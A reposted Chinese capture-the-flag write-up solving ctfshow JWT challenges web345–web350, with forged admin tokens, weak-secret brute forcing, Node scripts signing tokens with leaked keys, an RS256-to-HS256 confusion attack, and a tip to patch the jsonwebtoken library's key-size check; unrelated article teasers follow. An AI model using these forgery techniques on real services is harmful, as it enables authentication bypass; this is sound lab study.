Ctfshow web入门 JWT篇 web345-web350 详细题解 全

news2025/1/19 7:57:18

CTFshow JWT web345

先看题目,提示admin。

image-20230403151543453

抓个包看看看。

image-20230403152135129

好吧我不装了,其实我知道是JWT。直接开做。

在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥。

全称是JSON Web Token。
通俗地说,JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。

JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串
JWTString = Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

这里只需要注意访问的是/admin/而不是/admin因为访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php

base64解码之后user改成admin再编码。
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2ODA1MDY0NzYsImV4cCI6MTY4MDUxMzY3NiwibmJmIjoxNjgwNTA2NDc2LCJzdWIiOiJhZG1pbiIsImp0aSI6ImQxNjI3NDRhZDZiMTk0ZDk4MmEzNjcwMTkzMmFlZTFiIn1d
//不知道为什么出不来

CTFshow JWT web346

这次有算法了。

image-20230403173156058

法一:alg字段改为none,sub改为admin脚本加密。(后面一定要加点)

image-20230403203925153

法二:爆破密钥。是123456

CTFshow JWT web347

题目提示弱口令。

方法一:脚本爆破。

方法二: jwt-cracker工具爆破。

用法:
kali文件夹开终端
sudo su换成root
docker run -it --rm  jwtcrack JWT字符串

获取密码为123456,在官网上面输入密码,改成admin,自动会给我们想要的jwt字符串。 //六位有点慢,快一个小时了,不爆了。

payload:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDUzODIxMSwiZXhwIjoxNjgwNTQ1NDExLCJuYmYiOjE2ODA1MzgyMTEsInN1YiI6ImFkbWluIiwianRpIjoiOTY2YTNhMmQyMDc2YzY5M2NmMmNjMDMyZTI2Mzc2YWQifQ.DhAEchqVrSifkRd7vHUhXG2fezIUGZq4LDyvUdhdEc0

CTFshow JWT web348

jwt-cracker工具爆破,密钥是aaab,秒出。

image-20230404013051054

CTFshow JWT web349

考点:公私钥泄密之【私钥】泄密。

还是JWT,不过这次变成了安全度更高的公私钥加密。


题目自带一个附件app.js,估计是源码。

image-20230802141634922

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

可以看到,题目把私钥和公钥放在了web目录,我们访问就可以直接下载,造成了私钥公钥的泄露。

image-20230802125547575

image-20230802125614460

有了公私钥,我们就能生成JWT签名了,这里我们选择使用NodeJs脚本来生成签名。

const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\private.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

环境准备:

1、安装node,安装完之后cmd输入node查看是否安装成功。

image-20230801151039971

2、从脚本代码const jwt = require('jsonwebtoken');中看出,我们需要安装jsonwebtoken(jwt)模块。安装指令如下:(指令在cmd输入)

npm install jsonwebtoken --save

image-20230802130930016

也可以直接在编译器里面安装。

image-20230802133149032

3、准备就绪,运行脚本却发现报错secretOrPrivateKey has a minimum key size of 2048 bits for RS256。意思是私钥最短长度要2048,这题的私钥太短了。

image-20230802131010274

产生报错的原因是,JWT版本15以后不支持小密钥,要求密钥最短长度是2048。

大师傅的馊主意(能解决问题但是不提倡):修改JWT的源码

找到\node_modules\jsonwebtoken目录,选择sign.js文件。

image-20230802133715702

注释130243行。防止他报错。

image-20230802133928980

image-20230802133937005

然后就可以成功生成了。

image-20230802134114737

根据源码,咱们修改完JWT直接根目录POST就能拿到flag。

image-20230802141946852

做后发现,JWT网站也支持使用公私钥伪造,要是下次私钥长度大于2048就直接用网站吧。

image-20230802134450775

CTFshow JWT web350

考点:公私钥泄密之【公钥】泄密。

可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256)
双方都使用公钥验签,顺利篡改数据
当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密
实现验签通过


开题之后界面还是一样。

image-20230802140602138

拿JWT先去网站分析一下,修改点还是user,我们的目标是user=admin

image-20230802140624531

还是一样,有公钥泄露。但是没有私钥泄露。

image-20230802140448872

脚本如下:

const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

image-20230802140734714

得到flag。

image-20230802142152162

题目有提供源码,简单看看。

image-20230802142253519

其他不看了,就看app.js。其他如node_modules文件夹其实是Node环境,没啥好看的。

app.js

var createError = require('http-errors');  // 导入 'http-errors' 模块,用于创建 HTTP 错误
var express = require('express');  // 导入 'express' 模块,用于创建 Web 应用
var ejs = require('ejs');  // 导入 'ejs' 模块,用于渲染 HTML 模板
var path = require('path');  // 导入 'path' 模块,用于处理文件路径
var cookieParser = require('cookie-parser');  // 导入 'cookie-parser' 模块,用于解析 Cookie
var logger = require('morgan');  // 导入 'morgan' 模块,用于日志记录
var session = require('express-session');  // 导入 'express-session' 模块,用于会话管理
var FileStore = require('session-file-store')(session);  // 导入 'session-file-store' 模块,用于将会话信息存储到文件中

var indexRouter = require('./routes/index');  // 导入 './routes/index' 模块,用于处理根路由请求

var app = express();  // 创建 Express 应用的实例

// 设置会话配置
var identityKey = 'auth';  // 定义用于标识会话的键名

app.use(session({
  name: identityKey,  // 设置会话的名称
  secret: 'ctfshow_session_secret',  // 设置用于加密会话数据的密钥
  store: new FileStore(),  // 设置会话数据存储方式为 'session-file-store',即将会话信息存储到文件中
  saveUninitialized: false,  // 设置不保存未初始化的会话
  resave: false,  // 设置不重新保存会话
  cookie: {
    maxAge: 60 * 60 * 1000 // 设置会话的有效期为 1 小时(单位是毫秒)
  }
}));

// 设置视图引擎
app.set('views', path.join(__dirname, 'views'));  // 设置视图文件的路径为当前目录下的 'views' 目录
app.engine('html', require('ejs').__express);  // 使用 'ejs' 引擎渲染 HTML 模板
app.set('view engine', 'html');  // 设置视图引擎为 'html'

app.use(logger('dev'));  // 使用 'dev' 格式的日志记录
app.use(express.json());  // 解析 JSON 请求体
app.use(express.urlencoded({ extended: false }));  // 解析 URL 编码请求体
app.use(cookieParser());  // 解析 Cookie
app.use(express.static(path.join(__dirname, 'public')));  // 设置静态文件目录为当前目录下的 'public' 目录

app.use('/', indexRouter);  // 使用导入的路由模块来处理根路由请求

// 捕获 404 错误并转发到错误处理中间件
app.use(function(req, res, next) {
  next(createError(404));  // 创建 404 错误,并转发给下一个中间件或错误处理中间件
});

// 错误处理中间件
app.use(function(err, req, res, next) {
  // 设置本地变量,仅在开发环境中提供错误信息
  res.locals.message = err.message;  // 错误消息
  res.locals.error = req.app.get('env') === 'development' ? err : {};  // 判断是否为开发环境,若是则提供错误对象

  // 渲染错误页面,返回错误状态码或默认 500 状态码
  res.status(err.status || 500);  // 设置响应状态码为错误状态码或默认 500 状态码
  res.render('error', {msg:err.message});  // 渲染名为 'error' 的模板,传入错误消息作为参数
});

module.exports = app;  // 导出创建的 Express 应用实例

?????我怎么感觉这是NodeJs原型链污染的源码包。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/829118.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

通讯协议030——全网独有的OPC HDA知识一之基本概念(一)

本文简单介绍OPC HDA规范的基本概念,更多通信资源请登录网信智汇(wangxinzhihui)。 目前,大多数历史数据系统都使用自己的专有接口对外提供数据服务,不能与任何其他系统互操作。OPC HDA规范旨在提供历史数据访问的标准接口,促进用…

2023年信息系统项目管理师-学习计划安排

1. 关注信管网: 信管网 - 考试专业网站! (cnitpm.com) 2023年下半年信息系统项目管理师报名时间将于8月14日开始,各地报名时间不同,请考生注意查看当地报名时间,但报名官网入口是统一的,均在中国计算机技术…

如何评估DC电源模块的效率

BOSHIDA 如何评估DC电源模块的效率 BOSHIDA DC电源模块的效率是指输入电功率与输出电功率的比率,通常以百分比的形式表示。因为电源模块的效率和整个系统的运行时间、负载变化等因素有关,因此需要进行多种测试和评估来确定其真实效率。 以下是一些评估D…

500余名师生齐聚线下!智能汽车竞赛百度创意组东西部赛区圆满结束

“全国大学生智能汽车竞赛”是教育部倡导的大学生科技A类竞赛,中国高等教育学会将其列为含金量最高的大学生竞赛之一,为《全国普通高校大学生竞赛排行榜》榜单内赛事。飞桨共承办了百度完全模型组和百度智慧交通组两大赛道。其中,创意组赛事共…

springboot+vue学生宿舍寝室管理系统的设计与开发fyaa5--论文

金桂圆寝室管理系统主要包括管理员、宿管和喾三大部分。 管理员主要功能为:个人中心、学生管理、宿管管理、楼宇信息管理、宿舍信息管理、住宿信息管理、宿舍更换管理、退宿信息管理等功能。 宿管主要功能为:个人中心、宿舍信息管理、住宿信息管理、宿舍…

java+springboot+mysql企业邮件管理系统

项目介绍: 使用javaspringbootmysql开发的企业邮件管理系统,系统包含超级管理员、管理员、员工角色,功能如下: 超级管理员:管理员管理;员工管理;反馈管理;系统公告;个人…

【力扣每日一题】2023.8.3 删除注释

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 这道题属于模拟题,我们实际运用场景是使用正则表达式,并且我看评论区也有不少大佬也是用的正则,而我就…

如何解决电脑无声问题:排除故障的几种常见方法

大家好,今天我们来讨论一下处理电脑没有声音的故障。当你突然发现电脑静音无声时,需要逐步排除可能的问题,但总体而言,声音故障是相对容易解决的。接下来,我们将介绍一些排除电脑无声问题的方法。 第一步:…

【css】使用float实现水平导航栏

该实例使用float 浮动实现元素浮动在水平方向,从而实现水平导航栏效果。 overflow: hidden:当不给父级元素设置高度的时候,其内部元素浮动后会导致下面的元素顶上去,这是因为子元素浮动后,子元素脱离标准流&#xff0…

SpringBoot读取mysql

SpringBoot读取mysql 部署mysql创建SpringBoot工程增加mysql8依赖创建Service代码执行验证 部署mysql 部署mysql可以通过软件安装,也可以通过docker安装,具体的安装过程可以参考以前的一篇博文,这里不再重复。 《眼睛说:我会用do…

软考A计划-系统集成项目管理工程师-项目合同管理-下

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 👉关于作者 专注于Android/Unity和各种游…

大模型时代下,算法工程师发展趋势及技术拓展

本文目录 写在前面的话一、人工智能算法工程师的每个阶段是怎么样的?阶段一:模式识别阶段(1)传统机器学习--支持向量机(2)传统机器学习--隐马尔可夫模型(3)新的开始!--Al…

小鹏智驾一号位换帅,接棒者李力耘其人

作者 | 张祥威编辑 | 德新 8月2日,小鹏汽车自动驾驶副总裁吴新宙将离职的消息在业界刷屏。到晚间,何小鹏发文确认了这一消息。 接下来,何小鹏将亲自带领自动驾驶和研发团队,为在今年年内完成 CNGP覆盖 50 城的努力,并且…

WEB集群——http、tomcat

1. 简述静态网页和动态网页的区别。 2. 简述 Webl.0 和 Web2.0 的区别。 3. 安装tomcat8,配置服务启动脚本,部署jpress应用。 1. 简述静态网页和动态网页的区别。 1)、静态网页 (1)、什么是静态网页 请求响应信息&…

一文说清楚支付架构

作者:陈斌 支付的技术架构是为了保障能够顺利处理支付请求而设计的结构体系。从系统的角度看,它包括了计算机系统的软件、硬件、网络和数据等。从参与的主体角度来看,它涉及交易的付款方、收款方、支付机构、银行、卡组织和金融监管机构等。要…

批量计算直角三角形两个直角边对应斜边的numpy.hypot()方法

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 给出多个三角形的两条直角边长度 批量计算出这些三角形的斜边长度 numpy.hypot() [太阳]选择题 以下代码的输出结果是? import numpy as np a np.array([3, 4, 30]) b np.array([4, 3, 40])…

第四章 数据库安全性

问题的提出 (1)数据库的一大特点是数据可以共享 (2)数据共享必然带来数据库的安全性问题 (3)数据库系统中的数据共享不能是无条件的共享 这就引发了数据库安全性问题 1.数据库安全性概述 数据库的安全性…

基于SpringBoot+Vue的漫画网站设计与实现(源码+LW+部署文档等)

博主介绍: 大家好,我是一名在Java圈混迹十余年的程序员,精通Java编程语言,同时也熟练掌握微信小程序、Python和Android等技术,能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

利用 Python 结合 UI 来模拟实现多人聊天

一、界面功能展示 1、设置一个通信 用户1 2、设置通信 用户2 3、进入聊天功能界面 4、发送信息来实现实时通信 二、代码实现 1、服务器端 (服务器需要能够与客户机进行直接通信,客户机之间不需要能够通信) 服务器需要配置监听的IP 0.0.…

改进粒子群算法优化BP神经网络---回归+分类两种案例

今天采用改进的粒子群算法(LPSO)优化算法优化BP神经网络。本文选用的LPSO算法是之前作者写过的一篇文章:基于改进莱维飞行和混沌映射(10种混沌映射随意切换)的粒子群优化算法,附matlab代码 文章一次性讲解两种案例,回归…